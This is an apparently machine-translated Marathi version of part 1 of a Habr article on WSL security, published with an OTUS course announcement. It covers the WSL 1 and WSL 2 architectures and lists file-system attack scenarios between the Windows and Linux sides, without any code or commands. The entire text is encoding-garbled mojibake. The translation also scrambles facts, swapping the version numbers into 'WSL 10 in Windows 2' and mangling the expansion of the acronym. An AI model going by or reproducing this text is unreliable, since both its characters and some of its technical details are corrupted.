WSL рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ 1

рд╣реЕрд▓реЛ, рд╣реЕрдмрд░! OTUS рдСрдХреНрдЯреЛрдмрд░рдордзреНрдпреЗ рдПрдХ рдирд╡реАрди рдЕрднреНрдпрд╛рд╕рдХреНрд░рдо рд╕реБрд░реВ рдХрд░рддреЗ "рд▓рд┐рдирдХреНрд╕ рд╕реБрд░рдХреНрд╖рд╛". рдЕрднреНрдпрд╛рд╕рдХреНрд░рдо рд╕реБрд░реВ рд╣реЛрдгреНрдпрд╛рдЪреНрдпрд╛ рдЕрдкреЗрдХреНрд╖реЗрдиреЗ, рдЖрдореНрд╣реА рддреБрдордЪреНрдпрд╛рд╕реЛрдмрдд рдЖрдордЪреЗ рдПрдХ рд╢рд┐рдХреНрд╖рдХ, рдЕрд▓реЗрдХреНрдЭрд╛рдВрдбрд░ рдХреЛрд▓реЗрд╕реНрдирд┐рдХреЛрд╡реНрд╣ рдпрд╛рдВрдиреА рд▓рд┐рд╣рд┐рд▓реЗрд▓рд╛ рд▓реЗрдЦ рд╢реЗрдЕрд░ рдХрд░рдд рдЖрд╣реЛрдд.

WSL рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ 1

2016 рдордзреНрдпреЗ, рдорд╛рдпрдХреНрд░реЛрд╕реЙрдлреНрдЯрдиреЗ рдирд╡реАрди WSL рддрдВрддреНрд░рдЬреНрдЮрд╛рди рдЖрдпрдЯреА рд╕рдореБрджрд╛рдпрд╛рд▓рд╛ рд╕рд╛рджрд░ рдХреЗрд▓реЗ (WрдЗрдВрдбреЛ Sрд╕рд╛рдареА рдЙрдкрдкреНрд░рдгрд╛рд▓реА Linux), рдЬреНрдпрд╛рдиреЗ рднрд╡рд┐рд╖реНрдпрд╛рдд рд╕рд╛рдорд╛рдиреНрдп рдЖрдгрд┐ рдкреНрд░рдЧрдд OS рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдВрдордзреНрдпреЗ рд▓реЛрдХрдкреНрд░рд┐рдпрддреЗрд╕рд╛рдареА рд▓рдврд╛ рджреЗрдгрд╛рд░реЗ рдкреВрд░реНрд╡реАрдЪреЗ рдЕрд╕рдВрддреБрд▓рд┐рдд рдкреНрд░рддрд┐рд╕реНрдкрд░реНрдзреА рдПрдХрддреНрд░ рдХрд░рдгреЗ рд╢рдХреНрдп рдХреЗрд▓реЗ: рд╡рд┐рдВрдбреЛрдЬ рдЖрдгрд┐ рд▓рд┐рдирдХреНрд╕. рдпрд╛ рддрдВрддреНрд░рдЬреНрдЮрд╛рдирд╛рдореБрд│реЗ рд▓рд┐рдирдХреНрд╕ рдЪрд╛рд▓рд╡рд┐рд▓реНрдпрд╛рд╢рд┐рд╡рд╛рдп рд╡рд┐рдВрдбреЛрдЬ рд╡рд╛рддрд╛рд╡рд░рдгрд╛рдд рд▓рд┐рдирдХреНрд╕ рдУрдПрд╕ рдЯреВрд▓реНрд╕ рд╡рд╛рдкрд░рдгреЗ рд╢рдХреНрдп рдЭрд╛рд▓реЗ, рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рдорд▓реНрдЯреА-рдмреВрдЯ рд╡рд╛рдкрд░рдгреЗ. Habr рд╡рд░ рддреБрдореНрд╣рд╛рд▓рд╛ WSL тАЛтАЛрд╡рд╛рдкрд░рдгреНрдпрд╛рдЪреНрдпрд╛ рдлрд╛рдпрджреНрдпрд╛рдВрдЪреЗ рд╡рд░реНрдгрди рдХрд░рдгрд╛рд░реЗ рд▓реЗрдЦ рдореЛрдареНрдпрд╛ рд╕рдВрдЦреНрдпреЗрдиреЗ рд╕рд╛рдкрдбрддреАрд▓. рддрдерд╛рдкрд┐, рджреБрд░реНрджреИрд╡рд╛рдиреЗ, рдпрд╛ рд▓реЗрдЦрд╛рдЪреНрдпрд╛ рдирд┐рд░реНрдорд┐рддреАрдЪреНрдпрд╛ рд╡реЗрд│реА, рдпрд╛ рд╕рдВрд╕рд╛рдзрдирд╛рд╡рд░ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдордЪреНрдпрд╛ рдЕрд╢рд╛ рд╕рд╣рдЬреАрд╡рдирд╛рдЪреНрдпрд╛ рд╕реБрд░рдХреНрд╖рд┐рддрддреЗрд╡рд░ рдХреЛрдгрддреЗрд╣реА рдЕрднреНрдпрд╛рд╕ рдЖрдврд│рд▓реЗ рдирд╛рд╣реАрдд. рд╣реЗ рджреБрд░реБрд╕реНрдд рдХрд░рдгреНрдпрд╛рдЪрд╛ рдпрд╛ рдкреЛрд╕реНрдЯрдЪрд╛ рдкреНрд░рдпрддреНрди рдЕрд╕реЗрд▓. рд▓реЗрдЦ WSL 1 рдЖрдгрд┐ 2 рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░рдЪреНрдпрд╛ рд╡реИрд╢рд┐рд╖реНрдЯреНрдпрд╛рдВрдмрджреНрджрд▓ рдмреЛрд▓реЗрд▓ рдЖрдгрд┐ рдпрд╛ рддрдВрддреНрд░рдЬреНрдЮрд╛рдирд╛рдЪрд╛ рд╡рд╛рдкрд░ рдХрд░реВрди рд╕рд┐рд╕реНрдЯрдорд╡рд░реАрд▓ рд╣рд▓реНрд▓реНрдпрд╛рдВрдЪреНрдпрд╛ рдЕрдиреЗрдХ рдЙрджрд╛рд╣рд░рдгрд╛рдВрдЪреЗ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрд▓. рд▓реЗрдЦ 2 рднрд╛рдЧрд╛рдд рд╡рд┐рднрд╛рдЧрд▓реЗрд▓рд╛ рдЖрд╣реЗ. рдкреНрд░рдердо рд▓рд┐рдирдХреНрд╕ рдЖрдгрд┐ рд╡рд┐рдВрдбреЛрдЬ рдордзреАрд▓ рдореБрдЦреНрдп рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рд╣рд▓реНрд▓рд╛ рдкрджреНрдзрддреА рдкреНрд░рджрд╛рди рдХрд░реЗрд▓. рджреБрд╕рд▒реНрдпрд╛ рд▓реЗрдЦрд╛рдд рдЪрд╛рдЪрдгреА рд╡рд╛рддрд╛рд╡рд░рдг рддрдпрд╛рд░ рдХрд░рдгреЗ рдЖрдгрд┐ рд╣рд▓реНрд▓реНрдпрд╛рдВрдЪреЗ рдкреБрдирд░реБрддреНрдкрд╛рджрди рдХрд░рдгреЗ рд╕рдорд╛рд╡рд┐рд╖реНрдЯ рдЖрд╣реЗ.

WSL 1: рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░рд▓ рд╡реИрд╢рд┐рд╖реНрдЯреНрдпреЗ

рдбрдмреНрд▓реНрдпреВрдПрд╕рдПрд▓ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛рдВрдордзреНрдпреЗ рд╕рд░реНрд╡рд╛рдд рдЕрдЪреВрдХ рдЬрд╛рдгреНрдпрд╛рд╕рд╛рдареА, рдЙрдкрдкреНрд░рдгрд╛рд▓реАрдЪреНрдпрд╛ рдЕрдВрдорд▓рдмрдЬрд╛рд╡рдгреАрд╢реА рд╕рдВрдмрдВрдзрд┐рдд рдореБрдЦреНрдп рдмрд╛рд░рдХрд╛рд╡реЗ рдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ. WSL рджреНрд╡рд╛рд░реЗ рд╕реЛрдбрд╡рд▓реЗрд▓реНрдпрд╛ рдореБрдЦреНрдп рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдВрдкреИрдХреА рдПрдХ рдХрд╛рд░реНрдп рдореНрд╣рдгрдЬреЗ Windows OS рдЪрд╛рд▓рд╡рдгрд╛рд▒реНрдпрд╛ рд╣реЛрд╕реНрдЯрд╡рд░ Linux рдЯрд░реНрдорд┐рдирд▓рджреНрд╡рд╛рд░реЗ рдХрд╛рд░реНрдп рдХрд░рдгреНрдпрд╛рдЪреА рдХреНрд╖рдорддрд╛. рддрд╕реЗрдЪ, рдСрдлрд░ рдХреЗрд▓реЗрд▓реА рд╕реБрд╕рдВрдЧрддрддрд╛ рдЗрддрдХреА рдореВрд│ рд╣реЛрддреА рдХреА рд▓рд┐рдирдХреНрд╕ рдПрдХреНрдЭрд┐рдХреНрдпреВрдЯреЗрдмрд▓реНрд╕ (ELFs) рдереЗрдЯ рд╡рд┐рдВрдбреЛрдЬ рд╕рд┐рд╕реНрдЯрдорд╡рд░ рдЪрд╛рд▓рд╡рддрд╛ рдпреЗрддрд╛рдд. рд╣реА рдЙрджреНрджрд┐рд╖реНрдЯреЗ рд╕рд╛рдзреНрдп рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА, Windows 10 рдордзреНрдпреЗ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЙрдкрдкреНрд░рдгрд╛рд▓реА рддрдпрд╛рд░ рдХреЗрд▓реА рдЧреЗрд▓реА рд╣реЛрддреА рдЬреА рддреБрдореНрд╣рд╛рд▓рд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓реНрд╕рдЪрд╛ рд╕рдВрдЪ рд╡рд╛рдкрд░реВрди рд▓рд┐рдирдХреНрд╕ рдНрдкреНрд▓рд┐рдХреЗрд╢рдиреНрд╕ рдЪрд╛рд▓рд╡рдгреНрдпрд╛рдЪреА рдкрд░рд╡рд╛рдирдЧреА рджреЗрддреЗ - рдЕрд╢рд╛ рдкреНрд░рдХрд╛рд░реЗ, рд╡рд┐рдВрдбреЛрдЬрд╡рд░ рд▓рд┐рдирдХреНрд╕ рд╕рд┐рд╕реНрдХреЙрд▓реНрд╕рдЪрд╛ рд╕рдВрдЪ рдореЕрдк рдХрд░рдгреНрдпрд╛рдЪрд╛ рдкреНрд░рдпрддреНрди рдХреЗрд▓рд╛ рдЧреЗрд▓рд╛. рдирд╡реАрди рдбреНрд░рд╛рдпрд╡реНрд╣рд░реНрд╕ рдЖрдгрд┐ рдирд╡реАрди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реНрд╡рд░реВрдк рдЬреЛрдбреВрди рд╣реЗ рдкреНрд░рддреНрдпрдХреНрд╖рд░рд┐рддреНрдпрд╛ рд▓рд╛рдЧреВ рдХреЗрд▓реЗ рдЧреЗрд▓реЗ. рджреГрд╢реНрдпрдорд╛рдирдкрдгреЗ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдЕрд╕реЗ рджрд┐рд╕рдд рд╣реЛрддреЗ:

WSL рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ 1

рдЦрд░реЗрддрд░, рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯреАрдорд╕рд╣ рдкрд░рд╕реНрдкрд░рд╕рдВрд╡рд╛рдж рдЕрдиреЗрдХ рдХрд░реНрдирд▓ рдореЙрдбреНрдпреВрд▓реНрд╕ рдЖрдгрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреНрд░рдХрд╛рд░рдЪреНрдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпреЗрджреНрд╡рд╛рд░реЗ рдЖрдпреЛрдЬрд┐рдд рдХреЗрд▓рд╛ рдЧреЗрд▓рд╛ - рдкрд┐рдХреЛ. рд╡рд░реАрд▓ рдЖрдХреГрддреАрд╡рд░реВрди, рдЖрдкрдг рдкрд╛рд╣реВ рд╢рдХрддрд╛ рдХреА рд╣реЛрд╕реНрдЯрд╡рд░реАрд▓ Linux рдЙрджрд╛рд╣рд░рдгрд╛рд╡рд░ рдЪрд╛рд▓рдгрд╛рд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореВрд│ рдЕрд╕рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ рдЖрдгрд┐ рдирд┐рдпрдорд┐рдд Windows рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╛рдВрдкреНрд░рдорд╛рдгреЗрдЪ рд╕рдВрд╕рд╛рдзрдиреЗ рд╡рд╛рдкрд░рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ. рдкрдг рд╣реЗ рдХрд╕реЗ рд╕рд╛рдзреНрдп рдХрд░рд╛рдпрдЪреЗ? рдкреНрд░рдХрд▓реНрдкрд╛рдд рдбреНрд░реЙрдмреНрд░рд┐рдЬ рд╡рд┐рдВрдбреЛрдЬрд╕рд╛рдареА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдВрдХрд▓реНрдкрдирд╛ рд╡рд┐рдХрд╕рд┐рдд рдХреЗрд▓реНрдпрд╛ рдЧреЗрд▓реНрдпрд╛ рдЬреНрдпрд╛рдиреЗ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдордЪреЗ рд╕рд░реНрд╡ рдЖрд╡рд╢реНрдпрдХ рдШрдЯрдХ (рддреНрдпрд╛рдЪреНрдпрд╛ рдЖрд╡реГрддреНрддреАрд╡рд░ рдЕрд╡рд▓рдВрдмреВрди) рджреБрд╕рд░реНрдпрд╛ OS рдЪреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЪрд╛рд▓рд╡рд┐рдгреНрдпрд╛рд╕рд╛рдареА рдкреНрд░рджрд╛рди рдХреЗрд▓реЗ.

рд▓рдХреНрд╖рд╛рдд рдШреНрдпрд╛ рдХреА рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдЕрдореВрд░реНрддрддреЗрдореБрд│реЗ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдорд╡рд░ (рд╡рд┐рд╢реЗрд╖рддрдГ, рд╡рд┐рдВрдбреЛрдЬ) рд▓рдХреНрд╖ рдХреЗрдВрджреНрд░рд┐рдд рди рдХрд░рдгреЗ рд╢рдХреНрдп рдЭрд╛рд▓реЗ рдЖрд╣реЗ, рдЬреНрдпрд╛рдордзреНрдпреЗ рджреБрд╕рд░реНрдпрд╛ OS рдЪреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реБрд░реВ рд╣реЛрдгреЗ рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрд╣реЗ, рдЖрдгрд┐ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рджреГрд╖реНрдЯреАрдХреЛрди рд╕реБрдЪрд╡рд▓рд╛.

рдЕрд╢рд╛ рдкреНрд░рдХрд╛рд░реЗ, рдкрд┐рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпреЗрддреАрд▓ рдХреЛрдгрддрд╛рд╣реА рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╡рд┐рдВрдбреЛрдЬ рдХрд░реНрдирд▓рдЪрд╛ рд╡рд┐рдЪрд╛рд░ рди рдХрд░рддрд╛ рдЪрд╛рд▓рд╡реВ рд╢рдХрддреЛ:

  1. рд╕реБрд╕рдВрдЧрддрддрд╛ рдЖрдгрд┐ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓рдЪреНрдпрд╛ рдЕрдиреБрд╡рд╛рджрд╛рдЪреНрдпрд╛ рд╕рдорд╕реНрдпрд╛ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рджрд╛рддреНрдпрд╛рдВрджреНрд╡рд╛рд░реЗ рд╕реЛрдбрд╡рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ;
  2. рдкреНрд░рд╡реЗрд╢ рдирд┐рдпрдВрддреНрд░рдг рд╕реБрд░рдХреНрд╖рд╛ рдореЙрдирд┐рдЯрд░рджреНрд╡рд╛рд░реЗ рдХреЗрд▓реЗ рдЬрд╛рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ. рдореЙрдирд┐рдЯрд░ рдХрд░реНрдирд▓рдордзреНрдпреЗ рд╕реНрдерд┐рдд рдЖрд╣реЗ рдЖрдгрд┐ рдореНрд╣рдгреВрди Windows рд▓рд╛ рдирд╡реАрди рдбреНрд░рд╛рдпрд╡реНрд╣рд░рдЪреНрдпрд╛ рд░реВрдкрд╛рдд рдЕрдкрдЧреНрд░реЗрдб рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ рдЬреЗ рдЕрд╢рд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдВрд╕рд╛рдареА рдкреНрд░рджрд╛рддрд╛ рдореНрд╣рдгреВрди рдХрд╛рд░реНрдп рдХрд░реВ рд╢рдХреЗрд▓. рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкрд┐рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдпреЛрдЬрдирд╛рдмрджреНрдзрдкрдгреЗ рдЦрд╛рд▓реА рд╕рд╛рджрд░ рдХреЗрд▓реА рдЖрд╣реЗ:

WSL рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ 1

рд▓рд┐рдирдХреНрд╕ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗрд╕-рд╕реЗрдиреНрд╕рд┐рдЯрд┐рд╡реНрд╣ рдлрд╛рдЗрд▓ рдЖрдгрд┐ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдирд╛рд╡реЗ рд╡рд╛рдкрд░рдд рдЕрд╕рд▓реНрдпрд╛рдиреЗ, WSL - VolFS рдЖрдгрд┐ DriveFS рд╕рд╣ рдХрд╛рд░реНрдп рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА Windows рдордзреНрдпреЗ 2 рдкреНрд░рдХрд╛рд░рдЪреНрдпрд╛ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдЬреЛрдбрд▓реНрдпрд╛ рдЧреЗрд▓реНрдпрд╛ рдЖрд╣реЗрдд. VolFS рд╣реА Linux рдлрд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реАрдЪреА рдЕрдВрдорд▓рдмрдЬрд╛рд╡рдгреА рдЖрд╣реЗ, DriveFS рд╣реА рдПрдХ рдлрд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдЖрд╣реЗ рдЬреА Windows рдирд┐рдпрдорд╛рдВрдиреБрд╕рд╛рд░ рдХрд╛рд░реНрдп рдХрд░рддреЗ, рдкрд░рдВрддреБ рдХреЗрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓рддрд╛ рдирд┐рд╡рдбрдгреНрдпрд╛рдЪреА рдХреНрд╖рдорддрд╛ рдЖрд╣реЗ.

рдбрдмреНрд▓реНрдпреВрдПрд╕рдПрд▓ 2

WSL 1 рдордзреНрдпреЗ рдЕрдиреЗрдХ рдорд░реНрдпрд╛рджрд╛ рд╣реЛрддреНрдпрд╛ рдЬреНрдпрд╛рдиреЗ рдЬрд╛рд╕реНрддреАрдд рдЬрд╛рд╕реНрдд рдХрд╛рд░реНрдпреЗ рд╕реЛрдбрд╡рдгреНрдпрд╛рд╕рд╛рдареА рд╡рд╛рдкрд░рдгреНрдпрд╛рдЪреА рдкрд░рд╡рд╛рдирдЧреА рджрд┐рд▓реА рдирд╛рд╣реА: рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, 32-рдмрд┐рдЯ рд▓рд┐рдирдХреНрд╕ рдНрдкреНрд▓рд┐рдХреЗрд╢рдиреНрд╕ рдЪрд╛рд▓рд╡рдгреНрдпрд╛рдЪреА рдХреНрд╖рдорддрд╛ рддреНрдпрд╛рдЪреНрдпрд╛рдХрдбреЗ рдирд╡реНрд╣рддреА рдЖрдгрд┐ рдбрд┐рд╡реНрд╣рд╛рдЗрд╕ рдбреНрд░рд╛рдпрд╡реНрд╣рд░реНрд╕ рд╡рд╛рдкрд░рдгреЗ рдЕрд╢рдХреНрдп рд╣реЛрддреЗ. рдореНрд╣рдгреВрди, 2020 рдордзреНрдпреЗ, WSL 2 рд░рд┐рд▓реАрдЭ рдЭрд╛рд▓рд╛, рдЬреНрдпрд╛рдиреЗ рдЙрдкрдкреНрд░рдгрд╛рд▓реА рддрдпрд╛рд░ рдХрд░рдгреНрдпрд╛рдЪрд╛ рджреГрд╖реНрдЯреАрдХреЛрди рдмрджрд▓рд▓рд╛. WSL 2 рд╣реЗ рдПрдХ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЭ рдХреЗрд▓реЗрд▓реЗ рд╡реНрд╣рд░реНрдЪреНрдпреБрдЕрд▓ рдорд╢реАрди рдЖрд╣реЗ рдЬреЗ WSL 1 рдЪреНрдпрд╛ рд╕рдВрд╕рд╛рдзрдирд╛рдВрдЪреНрдпрд╛ рд╡рд╛рдкрд░рд╛рдЪреНрдпрд╛ рд╡реИрд╢рд┐рд╖реНрдЯреНрдпрд╛рдВрд╢реА рдЬреБрд│рддреЗ. рдЖрддрд╛, Windows OS рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рджреНрд╡рд╛рд░реЗ рд╕реЛрдбрд╡рд▓реЗрд▓реНрдпрд╛ рд╕рдорд╕реНрдпрд╛рдВрд╡рд░ рдЕрд╡рд▓рдВрдмреВрди, рдЖрдкрдг рд▓рд┐рдирдХреНрд╕ рдЙрдкрдкреНрд░рдгрд╛рд▓реАрдЪреА рдЖрд╡рд╢реНрдпрдХ рдЖрд╡реГрддреНрддреА рдирд┐рд╡рдбреВ рд╢рдХрддрд╛. рд╕рдВрднрд╛рд╡реНрдп рднреЗрджреНрдпрддрд╛ рдХрдореА рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА, Windows 2 рдордзреНрдпреЗ рд╣рд╛рдпрдкрд░-V рд╡рд░ рдЖрдзрд╛рд░рд┐рдд WSL 10 рд▓рд╛рдЧреВ рдХрд░рдгреНрдпрд╛рдд рдЖрд▓рд╛. рдпрд╛ рдлреЙрд░реНрдордордзреНрдпреЗ, Windows рдордзреНрдпреЗ Linux рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХрд░реНрдирд▓ рдПрдХрд╛рдХреАрдкрдгреЗ рдЪрд╛рд▓рд╡рдгреНрдпрд╛рдЪреА рдХреНрд╖рдорддрд╛ рдЖрд╣реЗ. рд╣реЗ рд▓рдХреНрд╖рд╛рдд рдареЗрд╡рдгреНрдпрд╛рд╕рд╛рд░рдЦреЗ рдЖрд╣реЗ рдХреА WSL рдЪреА рдЖрд╡реГрддреНрддреА 1 рдПрдХ рдмреАрдЯрд╛ рд╡реИрд╢рд┐рд╖реНрдЯреНрдп рдореНрд╣рдгреВрди рд╕рд╛рджрд░ рдХреЗрд▓реА рдЧреЗрд▓реА рд╣реЛрддреА рдЬреА рдпрд╛ рдХреНрд╖реЗрддреНрд░рд╛рддреАрд▓ рд╡рд┐рдВрдбреЛрдЬрдЪреНрдпрд╛ рд╡рд┐рдХрд╛рд╕рд╛рдЪреА рджрд┐рд╢рд╛ рджрд░реНрд╢рд╡реЗрд▓, рдореНрд╣рдгреВрди рд╣рд╛рдпрдкрд░-рд╡реНрд╣реА рдордзреНрдпреЗ рд╕рдВрдХреНрд░рдордг рдЕрдкрд░рд┐рд╣рд╛рд░реНрдп рд╣реЛрддреЗ. рдЕрдВрддрд┐рдо рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдЕрд╕реЗ рджрд┐рд╕рддреЗ:

WSL рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ 1

рдпрд╛ рдЖрд╡реГрддреНрддреАрдордзреНрдпреЗ, рд╡рд┐рдВрдбреЛрдЬ рдЖрдгрд┐ рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдирд▓рдЪреА рд╕реНрд╡рддрдГрдЪреА рд╕рдВрд╕рд╛рдзрдиреЗ рдЖрд╣реЗрдд рдЖрдгрд┐ рдЫреЗрджрдирдмрд┐рдВрджреВ рдлрдХреНрдд рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдордордзреНрдпреЗ рдЕрд╕реНрддрд┐рддреНрд╡рд╛рдд рдЖрд╣реЗ, рдкрд░рдВрддреБ рд╣реЗ рдЫреЗрджрдирдмрд┐рдВрджреВ рдкреВрд░реНрдг рдирд╛рд╣реА. рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдордордзреАрд▓ рдкрд░рд╕реНрдкрд░рд╕рдВрд╡рд╛рдж рдХреНрд▓рд╛рдпрдВрдЯ-рд╕рд░реНрд╡реНрд╣рд░ рд░реЕрдкрд░рджреНрд╡рд╛рд░реЗ рдХреЗрд▓рд╛ рдЬрд╛рддреЛ рдЬреЛ 9P рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╡рд╛рдкрд░реВрди рдХрд╛рд░реНрдп рдХрд░рддреЛ.

рдЖрдЬ Microsoft WSL 1 рдЖрдгрд┐ WSL 2 рдордзреНрдпреЗ рд╕реНрд╡рд┐рдЪ рдХрд░рдгреНрдпрд╛рдЪреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреЗ. рджреЛрдиреНрд╣реА рдЖрд╡реГрддреНрддреНрдпрд╛ рд╡рд╛рдкрд░рд╛рд╕рд╛рдареА рдЙрдкрд▓рдмреНрдз рдЖрд╣реЗрдд.

WSL рд╕реБрд░рдХреНрд╖рд╛

рдпрд╛рдХреНрд╖рдгреА, рдЙрдкрдкреНрд░рдгрд╛рд▓реАрдВрдордзреАрд▓ рд╕рдВрдкреНрд░реЗрд╖рдгрд╛рд╡рд░ рд╣рд▓реНрд▓рд╛ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдХрд╛рдпрджреЗрд╢реАрд░ OS рд╕рд╛рдзрдиреЗ рд╡рд╛рдкрд░рдгреНрдпрд╛рдЪреНрдпрд╛ рдХрд╛рд╣реА рдкрджреНрдзрддреАрдВрдЪреЗ рд╡рд░реНрдгрди рдХрд░рдгрд╛рд░реА рдЕрдиреЗрдХ рдХрд╛рдореЗ рдЖрд╣реЗрдд. рд▓реЗрдЦрдирд╛рдЪреНрдпрд╛ рд╡реЗрд│реА рд╣рд▓реНрд▓реНрдпрд╛рдВрдЪреА рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХрддрд╛ рддрдкрд╛рд╕рдгреНрдпрд╛рд╕рд╛рдареА рдЖрдореНрд╣реА рддреНрдпрд╛рдВрдЪреНрдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯрдЪрд╛ рд╡рд╛рдкрд░ рдХрд░реВ. рд╣рд▓реНрд▓реЗ рдЖрдгрд┐ рдкрд░рд┐рд╕реНрдерд┐рддреАрдВрдЪреА рд╕рд╛рдорд╛рдиреНрдп рдпрд╛рджреА:

1. рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдЕрдВрдорд▓рдмрдЬрд╛рд╡рдгреА: рдкреНрд░рд╡реЗрд╢ рдЕрдзрд┐рдХрд╛рд░, рд╕рд╛рдорд╛рдпрд┐рдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛/рдбреЗрдЯрд╛ рдПрдХреНрд╕рдЪреЗрдВрдЬ рдпрдВрддреНрд░рдгрд╛рдВрдЪреА рдЙрдкрд▓рдмреНрдзрддрд╛.

рдкрд╛рд╕реВрди рдкреНрд░рд╡реЗрд╢ рдирд┐рдпрдорд╛рдВрдЪреЗ рдЙрд▓реНрд▓рдВрдШрди рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рд╕рдВрд╢реЛрдзрди рдХреЗрд▓реЗ рдЧреЗрд▓реЗ рд▓рд┐рдирдХреНрд╕ рдПрдлрдПрд╕->рд╡рд┐рдВрдбреЛрдЬ рдПрдлрдПрд╕, рд╡рд┐рдВрдбреЛрдЬ рдПрдлрдПрд╕->рд▓рд┐рдирдХреНрд╕ рдПрдлрдПрд╕. рд╕рдВрд╢реЛрдзрдирд╛рдиреЗ рд▓рдХреНрд╖реНрдп OS рдордзреНрдпреЗ рджрд┐рд▓реЗрд▓реНрдпрд╛ рдлрд╛рдИрд▓рдордзреНрдпреЗ рдмрджрд▓ рдХрд░рдгреНрдпрд╛рдЪреА рдХреНрд╖рдорддрд╛ рджрд░реНрд╢рд╡рд┐рд▓реА рдЖрд╣реЗ. рдкрд░реНрдпрд╛рдпреА, рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рддрдпрд╛рд░ рдХрд░рдгреЗ рдЖрдгрд┐ рдлрд╛рдИрд▓ рд╕рд┐рд╕реНрдЯреАрдордЪреЗ рдХрд╛рд╣реА рднрд╛рдЧ рд╣рдЯрд╡рдгреНрдпрд╛рдЪреЗ рдкреНрд░рдпрддреНрди рджреЗрдЦреАрд▓ рдХреЗрд▓реЗ рдЧреЗрд▓реЗ.

рдкрд░рд┐рд╕реНрдерд┐рддреА:

  • A. рд╡рд┐рдВрдбреЛрдЬ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯреАрдордЪрд╛ рд╣рд▓реНрд▓рд╛ - Linux OS рдЪреНрдпрд╛ /etc рдбрд┐рд░реЗрдХреНрдЯреНрд░реАрдордзреВрди рдлрд╛рдЗрд▓реНрд╕рдордзреНрдпреЗ рдмрджрд▓.
  • B. рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯреАрдорд╡рд░реВрди рд╣рд▓реНрд▓рд╛ - рдбрд┐рд░реЗрдХреНрдЯрд░реАрдордзреАрд▓ рдлрд╛рдЗрд▓реНрд╕рдордзреНрдпреЗ рдмрджрд▓: C:Windows, C:Program Files, C:Users<User>

